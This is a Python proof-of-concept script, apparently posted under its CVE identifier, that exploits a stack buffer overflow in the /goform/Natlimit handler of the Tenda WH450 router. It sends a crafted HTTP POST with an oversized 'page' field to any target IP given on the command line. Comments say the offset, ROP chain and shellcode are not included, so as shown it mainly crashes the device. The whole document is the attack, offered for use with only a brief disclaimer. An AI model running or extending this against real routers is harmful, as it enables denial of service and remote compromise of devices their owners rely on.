CVE-2025-15045

#!/usr/bin/env python3 """ CVE-2025-15045 PoC - Tenda WH450 /goform/Natlimit Stack Buffer Overflow Note: This PoC is for educational and authorized testing purposes only. """ import socket import sys def exploit_target(target_ip, target_port=80): """ Exploit the stack buffer overflow in Tenda WH450 Natlimit component. Args: target_ip: Target router IP address target_port: Target web server port (default: 80) """ # Generate payload with padding to overflow the buffer # The exact offset needs to be determined based on firmware analysis padding = b'A' * 1000 # Initial padding to trigger overflow # In real exploitation, this would include: # - Correct offset to reach return address # - ROP gadgets for ARM architecture # - Shellcode for command execution # Construct the HTTP POST request http_request = f"POST /goform/Natlimit HTTP/1.1\r\n" http_request += f"Host: {target_ip}:{target_port}\r\n" http_request += "Content-Type: application/x-www-form-urlencoded\r\n" http_request += f"Content-Length: {len(padding)}\r\n" http_request += "Connection: close\r\n" http_request += "\r\n" http_request += f"page={padding.decode('latin-1')}" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(http_request.encode()) response = sock.recv(4096) print(f"[+] Request sent to {target_ip}:{target_port}") print(f"[+] Response: {response[:200]}") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_target(target, port)

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